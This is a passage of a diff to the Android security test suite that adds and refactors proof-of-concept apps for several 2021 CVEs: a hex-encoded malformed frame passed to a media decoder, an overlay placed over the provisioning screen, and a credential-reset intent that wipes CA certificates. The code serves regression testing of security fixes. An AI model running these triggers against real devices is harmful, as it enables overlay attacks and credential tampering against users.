0000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001078000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000f0ff0000100000001000000010000000100000001000000010100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000f60f00000028000000100000001000000010000000100000001000000010000000001000fff21000000010000000100000001000000010000000100000001100000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000fa10000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000018000000100000001000000010000000100000001000000010000000100000001000000010";
+ byte[] qq_frame = hexStringToByteArray(payload);
+
+ int length = qq_frame.length;
+ int offset = 0;
+
+ ByteBuffer[] codecInputBuffers = decoder.getInputBuffers();
+ int inputBufIndex = decoder.dequeueInputBuffer(0);
+
+ ByteBuffer dstBuf = codecInputBuffers[inputBufIndex];
+ dstBuf.clear();
+ dstBuf.put(qq_frame, offset, length);
+ decoder.queueInputBuffer(inputBufIndex, offset, length, 0, 0);
+ }
+
+ @Override
+ protected void onDestroy() {
+ super.onDestroy();
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/integers.xml
new file mode 100644
index 0000000..2e27ed8
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/integers.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <integer name="assumptionFailure">-1</integer>
+ <integer name="noFailure">0</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/strings.xml
index cf041ca..7dce747 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/strings.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/strings.xml
@@ -18,14 +18,18 @@
<string name="activityNotStartedException">Unable to start the %1$s</string>
<string name="activityNotFoundMsg">The activity with intent %1$s was not found</string>
<string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+ <string name="defaultSemaphoreMsg">Could not get message key in shared preferences</string>
<string name="dumpsysActivityCmd">dumpsys activity %1$s</string>
<string name="dumpsysActivityException">Could not execute dumpsys activity command</string>
<string name="overlayErrorMessage">Device is vulnerable to b/209611539 hence any app with
"SYSTEM_ALERT_WINDOW can overlay the %1$s screen</string>
<string name="mResumedTrue">mResumed=true</string>
+ <string name="messageKey">message</string>
<string name="overlayButtonText">OverlayButton</string>
<string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
- <string name="testPkg">android.security.cts.CVE_2021_39692</string>
+ <string name="resultKey">result</string>
+ <string name="sharedPreferences">prefs</string>
+ <string name="timedOutPocActivity">Timed out waiting on a result from PocActivity</string>
<string name="vulActivityNotRunningError">The %1$s is not currently running on the device
</string>
</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/DeviceTest.java
index e2f6196..aaab56a 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/DeviceTest.java
@@ -18,19 +18,24 @@
import static android.app.admin.DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE;
import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME;
+
import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-import static org.junit.Assert.assertNotNull;
+
import static org.junit.Assert.assertTrue;
import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
import static org.junit.Assume.assumeTrue;
import android.content.ActivityNotFoundException;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
+import android.content.SharedPreferences;
+import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
+import android.content.res.Resources;
import android.provider.Settings;
import androidx.test.runner.AndroidJUnit4;
@@ -42,86 +47,111 @@
import org.junit.runner.RunWith;
import java.io.IOException;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
import java.util.regex.Pattern;
@RunWith(AndroidJUnit4.class)
public class DeviceTest {
+ static final int TIMEOUT_MS = 20000;
+ Context mContext;
private void startOverlayService() {
- Context context = getApplicationContext();
- assertNotNull(context);
- Intent intent = new Intent(context, PocService.class);
-
- assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
- Settings.canDrawOverlays(getApplicationContext()));
+ Intent intent = new Intent(mContext, PocService.class);
+ assumeTrue(mContext.getString(R.string.canNotDrawOverlaysMsg),
+ Settings.canDrawOverlays(mContext));
try {
- context.startService(intent);
+ mContext.startService(intent);
} catch (Exception e) {
assumeNoException(
- context.getString(R.string.activityNotStartedException, "overlay service"), e);
+ mContext.getString(R.string.activityNotStartedException, "overlay service"), e);
}
}
private void startVulnerableActivity() {
- Context context = getApplicationContext();
- Intent intent = new Intent(context, PocActivity.class);
+ Intent intent = new Intent(mContext, PocActivity.class);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
try {
- context.startActivity(intent);
+ mContext.startActivity(intent);
} catch (ActivityNotFoundException e) {
assumeNoException(
- context.getString(R.string.activityNotStartedException, "PocActivity"), e);
+ mContext.getString(R.string.activityNotStartedException, "PocActivity"), e);
}
}
@Test
public void testOverlayButtonPresence() {
- UiDevice mDevice = UiDevice.getInstance(getInstrumentation());
+ mContext = getApplicationContext();
+ assumeNotNull(mContext);
+ UiDevice device = UiDevice.getInstance(getInstrumentation());
+ assumeNotNull(device);
+ Resources resources = mContext.getResources();
+ assumeNotNull(resources);
/* Start the overlay service */
startOverlayService();
/* Wait for the overlay window */
- Context context = getApplicationContext();
- Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText),
- Pattern.CASE_INSENSITIVE);
- final int launchTimeoutMs = 20000;
- assumeTrue(context.getString(R.string.overlayUiScreenError),
- mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), launchTimeoutMs));
+ Pattern overlayTextPattern = Pattern
+ .compile(resources.getString(R.string.overlayButtonText), Pattern.CASE_INSENSITIVE);
+ assumeTrue(resources.getString(R.string.overlayUiScreenError),
+ device.wait(Until.hasObject(By.text(overlayTextPattern)), TIMEOUT_MS));
- /* Start the vulnerable activity */
+ /* Start the PocActivity which starts vulnerable activity */
startVulnerableActivity();
- /* Wait until the object of launcher activity is gone */
- boolean overlayDisallowed = false;
- if (mDevice.wait(Until.gone(By.pkg(context.getString(R.string.testPkg))),
- launchTimeoutMs)) {
- overlayDisallowed = true;
+ /* Wait on a result from PocActivity */
+ SharedPreferences sharedPrefs = mContext.getSharedPreferences(
+ resources.getString(R.string.sharedPreferences), Context.MODE_APPEND);
+ final Semaphore preferenceChanged = new Semaphore(0);
+ OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() {
+ @Override
+ public void onSharedPreferenceChanged(SharedPreferences sharedPreferences, String key) {
+ if (key.equals(resources.getString(R.string.resultKey))) {
+ preferenceChanged.release();
+ }
+ }
+ };
+ sharedPrefs.registerOnSharedPreferenceChangeListener(listener);
+ try {
+ preferenceChanged.tryAcquire(TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ } catch (InterruptedException e) {
+ assumeNoException(resources.getString(R.string.timedOutPocActivity), e);
}
+ int result = sharedPrefs.getInt(resources.getString(R.string.resultKey),
+ resources.getInteger(R.integer.assumptionFailure));
+ String message = sharedPrefs.getString(resources.getString(R.string.messageKey),
+ resources.getString(R.string.defaultSemaphoreMsg));
+ assumeTrue(message, result != resources.getInteger(R.integer.assumptionFailure));
+ /* Wait until the object of launcher activity is gone */
+ boolean overlayDisallowed =
+ device.wait(Until.gone(By.pkg(mContext.getPackageName())), TIMEOUT_MS);
+
+ /* Get the vulnerable activity name from the intent, this is required for the next step */
Intent intent = new Intent(ACTION_PROVISION_MANAGED_PROFILE);
intent.putExtra(EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME,
- new ComponentName(context, PocDeviceAdminReceiver.class));
- PackageManager pm = context.getPackageManager();
+ new ComponentName(mContext, PocDeviceAdminReceiver.class));
+ PackageManager pm = mContext.getPackageManager();
ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
- assumeTrue(context.getString(R.string.activityNotFoundMsg, intent), ri != null);
+ assumeTrue(resources.getString(R.string.activityNotFoundMsg, intent), ri != null);
String testVulnerableActivity = ri.activityInfo.name;
/* Check if the currently running activity is the vulnerable activity */
String activityDump = "";
try {
- activityDump = mDevice.executeShellCommand(
- context.getString(R.string.dumpsysActivityCmd, testVulnerableActivity));
+ activityDump = device.executeShellCommand(
+ resources.getString(R.string.dumpsysActivityCmd, testVulnerableActivity));
} catch (IOException e) {
- assumeNoException(context.getString(R.string.dumpsysActivityException), e);
+ assumeNoException(resources.getString(R.string.dumpsysActivityException), e);
}
- Pattern activityPattern =
- Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE);
- assumeTrue(context.getString(R.string.vulActivityNotRunningError, testVulnerableActivity),
+ Pattern activityPattern = Pattern.compile(resources.getString(R.string.mResumedTrue),
+ Pattern.CASE_INSENSITIVE);
+ assumeTrue(resources.getString(R.string.vulActivityNotRunningError, testVulnerableActivity),
activityPattern.matcher(activityDump).find());
/* Failing the test as fix is not present */
- assertTrue(context.getString(R.string.overlayErrorMessage, testVulnerableActivity),
+ assertTrue(resources.getString(R.string.overlayErrorMessage, testVulnerableActivity),
overlayDisallowed);
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocActivity.java
index 89a7d93..db3d5d5 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocActivity.java
@@ -18,13 +18,13 @@
import static android.app.admin.DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE;
import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME;
-import static org.junit.Assume.assumeNoException;
-import static org.junit.Assume.assumeTrue;
import android.app.Activity;
import android.content.ActivityNotFoundException;
import android.content.ComponentName;
+import android.content.Context;
import android.content.Intent;
+import android.content.SharedPreferences;
import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
import android.os.Bundle;
@@ -39,19 +39,36 @@
new ComponentName(getApplicationContext(), PocDeviceAdminReceiver.class));
PackageManager pm = getPackageManager();
ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
- assumeTrue(getString(R.string.activityNotFoundMsg, intent), ri != null);
+ if (ri == null) {
+ setResult(getResources().getInteger(R.integer.assumptionFailure),
+ getString(R.string.activityNotFoundMsg, intent));
+ return;
+ }
+
try {
startActivityForResult(intent, 1);
} catch (ActivityNotFoundException e) {
- assumeNoException(getString(R.string.activityNotFoundMsg, intent), e);
+ setResult(getResources().getInteger(R.integer.assumptionFailure),
+ getString(R.string.activityNotFoundMsg, intent));
+ return;
}
+ setResult(getResources().getInteger(R.integer.noFailure), "");
}
@Override
public void onActivityResult(int requestCode, int resultCode, Intent data) {
if (resultCode == Activity.RESULT_OK) {
- this.setResult(Activity.RESULT_OK);
- this.finish();
+ setResult(Activity.RESULT_OK);
+ finish();
}
}
+
+ private void setResult(int result, String message) {
+ SharedPreferences sh =
+ getSharedPreferences(getString(R.string.sharedPreferences), Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getString(R.string.resultKey), result);
+ edit.putString(getString(R.string.messageKey), message);
+ edit.commit();
+ }
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocService.java
index be96d11..a00434b 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocService.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocService.java
@@ -80,8 +80,6 @@
private void showFloatingWindow() {
Context context = getApplicationContext();
- assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
- Settings.canDrawOverlays(getApplicationContext()));
mButton = new Button(getApplicationContext());
mButton.setText(context.getString(R.string.overlayButtonText));
mWindowManager.addView(mButton, mLayoutParams);
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/layout/activity_main.xml
index 6188e9a..9d789c4 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/layout/activity_main.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/layout/activity_main.xml
@@ -17,8 +17,6 @@
<LinearLayout
xmlns:android="http://schemas.android.com/apk/res/android"
- xmlns:app="http://schemas.android.com/apk/res-auto"
- xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent">
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/values/strings.xml
index 2afb31c..939b7d6 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/values/strings.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/values/strings.xml
@@ -23,11 +23,15 @@
<string name="certInstalled">Certificate is already installed</string>
<string name="certInstallFail">Certificate installation failed!</string>
<string name="certNotFound">Certificate not found after installation</string>
- <string name="pkgName">android.security.cts.CVE_2021_39706</string>
<string name="openFail">Failed to open </string>
<string name="tapFail">Failed to Tap </string>
<string name="pkgInstallFail"> is not installed!</string>
<string name="oK">OK</string>
<string name="cleanCache">CLEAN CACHE</string>
<string name="failMessage">Vulnerable to b/200164168 !!</string>
+ <string name="sharedPreferences">SharedPreferences</string>
+ <string name="messageKey">message</string>
+ <string name="assumptionFailureMessage">
+ Assumption failure occurred.
+ </string>
</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/xml/device_policies.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/xml/device_policies.xml
index 8a3a4d3..a826e80 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/xml/device_policies.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/xml/device_policies.xml
@@ -17,6 +17,5 @@
<device-admin>
<uses-policies>
- <disable-camera/>
</uses-policies>
</device-admin>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/DeviceTest.java
index fcff1b1..fcb8cc6 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/DeviceTest.java
@@ -16,22 +16,22 @@
package android.security.cts.CVE_2021_39706;
-import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
import static org.junit.Assert.fail;
import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
import static org.junit.Assume.assumeTrue;
import android.content.Context;
import android.content.Intent;
+import android.content.SharedPreferences;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.content.res.Resources;
-import android.security.cts.CVE_2021_39706.PocActivity;
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
import androidx.test.uiautomator.By;
-import androidx.test.uiautomator.BySelector;
import androidx.test.uiautomator.UiDevice;
import androidx.test.uiautomator.UiObject2;
import androidx.test.uiautomator.Until;
@@ -45,8 +45,6 @@
@RunWith(AndroidJUnit4.class)
public class DeviceTest {
private static final int TIMEOUT = 10000;
- private static Resources resources;
- private static String settingsPkg;
/*
* The Certificate and keypair below are generated with:
@@ -74,30 +72,31 @@
+ "nQfdnxdV19tprMfx1+uu7NNqvxCv1UN6peeBzF/0Bony+9oNzOnGYwMRm9Ww8+mJ\n"
+ "v02a06J8kg==\n" + "-----END CERTIFICATE-----";
- private UiDevice device;
- private Context context;
- private PackageManager packageManager;
+ private UiDevice mDevice;
+ private Context mContext;
+ private Resources mResources;
private void openApplication(String applicationName) {
- Intent intent = context.getPackageManager().getLaunchIntentForPackage(applicationName);
+ Intent intent = mContext.getPackageManager().getLaunchIntentForPackage(applicationName);
intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
- context.startActivity(intent);
- assumeTrue(resources.getString(R.string.openFail) + applicationName,
- device.wait(Until.hasObject(By.pkg(applicationName)), TIMEOUT));
+ mContext.startActivity(intent);
+ assumeTrue(mResources.getString(R.string.openFail) + applicationName,
+ mDevice.wait(Until.hasObject(By.pkg(applicationName)), TIMEOUT));
}
private void tapText(String text) {
boolean buttonClicked = false;
- UiObject2 object = device.findObject(By.text(text));
+ UiObject2 object = mDevice.findObject(By.text(text));
if (object != null && object.getText() != null) {
object.click();
buttonClicked = true;
}
- assumeTrue(resources.getString(R.string.tapFail) + text, buttonClicked);
+ assumeTrue(mResources.getString(R.string.tapFail) + text, buttonClicked);
}
protected boolean isPackageInstalled(String packageName) {
try {
+ PackageManager packageManager = mContext.getPackageManager();
PackageInfo pi = packageManager.getPackageInfo(packageName, 0);
return pi != null;
} catch (PackageManager.NameNotFoundException e) {
@@ -105,47 +104,71 @@
}
}
+ String getStringRes(int key) {
+ return mContext != null ? mContext.getResources().getString(key) : null;
+ }
+
@Before
public void setUp() {
// Initialize UiDevice instance
- device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
- context = InstrumentationRegistry.getInstrumentation().getContext();
- packageManager = context.getPackageManager();
- resources = context.getResources();
- settingsPkg = PocActivity.checkIsCar() ? resources.getString(R.string.settingsPkgCar)
- : resources.getString(R.string.settingsPkg);
- assumeTrue(settingsPkg + resources.getString(R.string.pkgInstallFail),
- isPackageInstalled(settingsPkg));
+ mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ mContext = InstrumentationRegistry.getInstrumentation().getContext();
+ mResources = mContext.getResources();
}
@Test
public void testCredentialReset() {
final byte[] cert = TEST_CA.getBytes();
- PocPolicyManager policyManager = new PocPolicyManager(getApplicationContext());
- assumeFalse(resources.getString(R.string.certInstalled),
- policyManager.hasCaCertInstalled(cert));
- assumeTrue(resources.getString(R.string.certInstallFail),
- policyManager.installCaCert(cert));
- assumeTrue(resources.getString(R.string.certNotFound),
- policyManager.hasCaCertInstalled(cert));
+ PocPolicyManager policyManager = new PocPolicyManager(mContext);
+ boolean isPocCaCertInstalled = false;
+ try {
+ assumeFalse(mResources.getString(R.string.certInstalled),
+ policyManager.hasCaCertInstalled(cert));
+ assumeTrue(mResources.getString(R.string.certInstallFail),
+ policyManager.installCaCert(cert));
+ isPocCaCertInstalled = policyManager.hasCaCertInstalled(cert);
+ assumeTrue(mResources.getString(R.string.certNotFound), isPocCaCertInstalled);
+ String settingsPkg =
+ mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)
+ ? mResources.getString(R.string.settingsPkgCar)
+ : mResources.getString(R.string.settingsPkg);
+ assumeTrue(settingsPkg + mResources.getString(R.string.pkgInstallFail),
+ isPackageInstalled(settingsPkg));
- // Open the PoC and attempt to reset credentials
- openApplication(resources.getString(R.string.pkgName));
- // Button is used to reset credentials after confirming that PoC opened successfully
- tapText(resources.getString(R.string.cleanCache));
- if (device.wait(Until.hasObject(By.pkg(settingsPkg)), TIMEOUT)) {
- // Press OK in the reset dialog which confirms before clearing certificates
- tapText(resources.getString(R.string.oK));
- }
- long end = System.currentTimeMillis() + TIMEOUT;
- while (System.currentTimeMillis() < end) {
- if (!policyManager.hasCaCertInstalled(cert)) {
- // Without fix, the certificate is reset
- fail(resources.getString(R.string.failMessage));
+
+ // Open the PoC and attempt to reset credentials
+ openApplication(mContext.getPackageName());
+ // Button is used to reset credentials after confirming that PoC opened successfully
+ tapText(mResources.getString(R.string.cleanCache));
+ if (mDevice.wait(Until.hasObject(By.pkg(settingsPkg)), TIMEOUT)) {
+ // Press OK in the reset dialog which confirms before clearing certificates
+ tapText(mResources.getString(R.string.oK));
+ }
+ long end = System.currentTimeMillis() + TIMEOUT;
+ while (System.currentTimeMillis() < end) {
+ if (!policyManager.hasCaCertInstalled(cert)) {
+ // Without fix, the certificate is reset
+ fail(mResources.getString(R.string.failMessage));
+ }
+ }
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ // uninstall CaCert if it was installed earlier and isn't uninstalled till now
+ if (isPocCaCertInstalled && policyManager.hasCaCertInstalled(cert)) {
+ // With fix, the certificate is not reset. Uninstall it explicitly
+ policyManager.uninstallCaCert(cert);
+ }
+ SharedPreferences sharedPrefs = mContext.getSharedPreferences(
+ getStringRes(R.string.sharedPreferences), Context.MODE_APPEND);
+ assumeNotNull(sharedPrefs);
+ String assumptionFailure =
+ sharedPrefs.getString(getStringRes(R.string.messageKey), null);
+ assumeTrue(assumptionFailure, assumptionFailure == null);
+ } catch (Exception e) {
+ assumeNoException(e);
}
}
-
- // With fix, the certificate is not reset. Uninstall it explicitly
- policyManager.uninstallCaCert(cert);
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocActivity.java
index 7d112f2..4368425 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocActivity.java
@@ -16,26 +16,17 @@
package android.security.cts.CVE_2021_39706;
-import static org.junit.Assume.assumeNoException;
-
import android.app.Activity;
import android.content.Context;
import android.content.Intent;
+import android.content.SharedPreferences;
import android.content.pm.PackageManager;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
-import androidx.test.InstrumentationRegistry;
-
public class PocActivity extends Activity {
- public static boolean checkIsCar() {
- Context context = InstrumentationRegistry.getInstrumentation().getContext();
- PackageManager pm = context.getPackageManager();
- return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
- }
-
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
@@ -50,17 +41,22 @@
}
private void credentialStorageReset() {
- boolean isCar = checkIsCar();
- Intent intent = new Intent("com.android.credentials.RESET");
- String pkg = isCar ? getResources().getString(R.string.settingsPkgCar)
- : getResources().getString(R.string.settingsPkg);
- String cls = isCar ? getResources().getString(R.string.certClsCar)
- : getResources().getString(R.string.certCls);
- intent.setClassName(pkg, cls);
try {
+ boolean isCar = getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+ Intent intent = new Intent("com.android.credentials.RESET");
+ String pkg = isCar ? getResources().getString(R.string.settingsPkgCar)
+ : getResources().getString(R.string.settingsPkg);
+ String cls = isCar ? getResources().getString(R.string.certClsCar)
+ : getResources().getString(R.string.certCls);
+ intent.setClassName(pkg, cls);
startActivity(intent);
} catch (Exception e) {
- assumeNoException(e);
+ SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences),
+ Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putString(getString(R.string.messageKey),
+ getString(R.string.assumptionFailureMessage));
+ edit.commit();
}
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/target-app/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/target-app/Android.bp
new file mode 100644
index 0000000..4a58ef3
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/target-app/Android.bp
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2021-39797-target",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ test_suites: [
+ "sts",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/target-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/target-app/AndroidManifest.xml
new file mode 100644
index 0000000..514c75a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/target-app/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_39797_target">
+ <application android:label="CVE-2021-39797-target">
+ <activity android:name=".TargetActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/target-app/src/android/security/cts/CVE_2021_39797_target/TargetActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/target-app/src/android/security/cts/CVE_2021_39797_target/TargetActivity.java
new file mode 100644
index 0000000..b49da17
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/target-app/src/android/security/cts/CVE_2021_39797_target/TargetActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39797_target;
+
+import android.app.Activity;
+
+public class TargetActivity extends Activity {
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/test-app/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/test-app/Android.bp
new file mode 100644
index 0000000..aa4e813
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/test-app/Android.bp
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2021-39797-test",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ ],
